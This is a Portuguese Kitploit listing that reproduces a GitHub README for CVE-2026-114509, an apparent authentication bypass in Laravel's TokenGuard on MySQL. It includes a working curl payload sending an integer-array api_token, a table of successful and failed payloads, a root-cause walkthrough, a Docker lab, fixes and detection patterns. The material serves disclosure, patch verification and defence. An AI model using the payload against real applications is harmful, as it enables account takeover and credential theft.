Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-114509-laravel-tokenguard — Prova de conceito, análise de causa raiz e laboratório Docker para CVE-2026-114509, um bypass de autenticação não autenticado no Laravel TokenGuard em MySQL/MariaDB que leva à tomada de conta. | Kitploit
Ferramentas/GitHubGitHub/arioveisa/cve-2026-114509-laravel-tokenguard
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAutenticaçãoLabs e Prática
GitHubarioveisa/cve-2026-114509-laravel-tokenguard

cve-2026-114509-laravel-tokenguard

Prova de conceito, análise de causa raiz e laboratório Docker para CVE-2026-114509, um bypass de autenticação não autenticado no Laravel TokenGuard em MySQL/MariaDB que leva à tomada de conta.

Ver Repositório
há 28 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    379
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Mecanismo OSINT com IA para descobrir e mapear mais de 7.700 identidades em redes sociais na web

    288

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-114509 — Bypass de Autenticação no TokenGuard do Laravel

Prova de conceito, análise e laboratório reproduzível para CVE-2026-114509, um bypass de autenticação não autenticado no TokenGuard do Laravel que leva à tomada de conta quando a aplicação é executada em MySQL ou MariaDB.

CampoValor
ID CVECVE-2026-114509
AvisoGHSA-f9x3-7vq9-cph6
CVSS v4.09.2 (Crítico) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H
CWECWE-1287 (Validação Imprópria do Tipo de Entrada Especificado), CWE-287 (Autenticação Imprópria)
Afetadolaravel/framework < 12.68.0, >= 13.0.0, < 13.29.0
Corrigido em12.68.0, 13.29.0
VetorCorpo JSON POST/GET com api_token como um array de inteiros
ImpactoBypass de autenticação, tomada de conta, divulgação de credenciais

TL;DR

Um TokenGuard configurado com driver => token e hash => false aceita uma credencial que não é string. Enviar {"api_token":[0]} como um corpo JSON faz o Laravel construir whereIn('api_token', [0]). O MySQL então converte implicitamente a coluna varchar para um inteiro, de modo que todo token que não começa com um dígito é avaliado como 0 e corresponde. A primeira linha da tabela users é retornada a um atacante não autenticado.

curl -s -X GET http://target/api/user \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}

Causa raiz

Três camadas independentes devem estar todas presentes para a exploração.

Camada 1 — A guarda não valida o tipo de credencial

src/Illuminate/Auth/TokenGuard.php (v11.43.0, build vulnerável):

$token = $this->getTokenForRequest();

if (! empty($token)) {
    $user = $this->provider->retrieveByCredentials([
        $this->storageKey => $this->hash ? hash('sha256', $token) : $token,
    ]);
}

Apenas empty() é verificado. empty([0]) é false porque o array contém um único elemento, então o array passa diretamente para o provedor. Não há guarda is_string().

Camada 2 — O provedor expande arrays em uma cláusula IN

src/Illuminate/Auth/EloquentUserProvider.php:

foreach ($credentials as $key => $value) {
    if (is_array($value) || $value instanceof Arrayable) {
        $query->whereIn($key, $value);
    } elseif ($value instanceof Closure) {
        $value($query);
    } else {
        $query->where($key, $value);
    }
}

Um array é interpretado como uma lista de valores candidatos, então a consulta se torna:

select * from `users` where `api_token` in (0)

Camada 3 — MySQL e MariaDB forçam a coerção da comparação

api_token é uma coluna varchar. Comparar uma coluna de string com um inteiro força uma conversão implícita do valor da coluna para um número:

select cast('admin_secret_token_12345' as unsigned);  -- 0
select cast('abc' as unsigned);                        -- 0
select cast('1abc' as unsigned);                       -- 1

Todo token que começa com uma letra é convertido para 0, portanto where api_token in (0) corresponde. PostgreSQL e SQLite rejeitam ou apresentam comportamento incorreto nessa comparação, razão pela qual a vulnerabilidade é específica de bancos de dados da família MySQL.


Matriz de exploração

Medida em relação ao laboratório deste repositório (Laravel 11.43.0, MySQL 8.0.46).

PayloadTransporteHTTPResultado
(nenhum)—401rejeitado
Bearer wrong_tokenheader401rejeitado
?api_token=wrongquery string401rejeitado
?api_token[]=0query string401rejeitado — sempre uma string
{"api_token":0}corpo JSON401rejeitado — empty(0) é true
{"api_token":["0"]}corpo JSON401rejeitado — string vs varchar
{"api_token":[1]}corpo JSON401nenhuma linha com valor convertido 1
{"api_token":[0.5]}corpo JSON401incompatibilidade de conversão para float
{"api_token":[0]}corpo JSON200bypass
{"api_token":[0,1]}corpo JSON200bypass

O payload deve chegar como um array tipado genuíno. Query strings e codificação de formulário sempre produzem strings, razão pela qual o corpo JSON é necessário.


Reprodução

Um laboratório Docker completo está incluído. Consulte docs/reproduction.md para o passo a passo completo, ou execute-o diretamente:

docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed

Adicione o hostname do laboratório a /etc/hosts:

echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts

Em seguida, verifique:

./poc.sh http://angkasagroup.co.id

Impacto

  • Acesso não autenticado a todas as rotas protegidas por auth:api
  • O objeto de usuário correspondente é retornado por completo, incluindo a api_token em texto simples quando hash => false, o que torna o comprometimento persistente
  • Em aplicações onde a primeira linha de users é um administrador, o bypass concede privilégios administrativos
  • Encadeado com qualquer endpoint exclusivo de administrador, o resultado é a extração total de dados

Remediação

Atualização

composer require laravel/framework:^12.68

A correção é uma única verificação de tipo:

if (is_string($token) && ! empty($token)) {

Mitigações temporárias

  1. Defina 'hash' => true no guard da API. O armazenamento com hash transforma o array em um TypeError em vez de uma correspondência.
  2. Substitua TokenGuard por Laravel Sanctum ou Passport, que resolvem tokens por meio de um índice de hash dedicado em vez de um whereIn sem restrições.
  3. Adicione um middleware que rejeite qualquer requisição em que api_token não seja uma string:
if (! is_string(request()->input('api_token'))) {
    abort(401);
}
  1. Restrinja o acesso ao banco de dados para que as consultas de autenticação não possam alcançar uma instância MySQL com coerção de tipos frouxa.

Detecção

Os logs da aplicação mostrarão a autenticação bem-sucedida sem um login anterior. Procure por corpos de requisição JSON onde api_token é um array em vez de uma string:

"api_token":[0]
"api_token":[1]

Na camada de banco de dados, habilite o log geral de consultas e configure alertas para:

where `api_token` in (0)

Estrutura do repositório

.
├── README.md              this document
├── docs/
│   ├── CVE-2026-114509.pdf    rendered analysis (this README)
│   └── reproduction.md        step-by-step lab walkthrough
├── docker-compose.yml     nginx + php-fpm + mysql lab
├── docker/
│   ├── Dockerfile
│   ├── nginx.conf
│   └── php.ini
├── src/                   Laravel 11.43.0 application
└── poc.sh                 verification script

Aviso legal

Este repositório existe para pesquisa defensiva, verificação de patches e testes de segurança autorizados. Execute-o apenas contra sistemas que você possui ou para os quais tem permissão escrita explícita para testar. O acesso não autorizado a sistemas de computador é uma infração criminal na maioria das jurisdições.

O laboratório vincula-se a 127.0.0.1 e destina-se apenas ao uso local.

Baixar ferramenta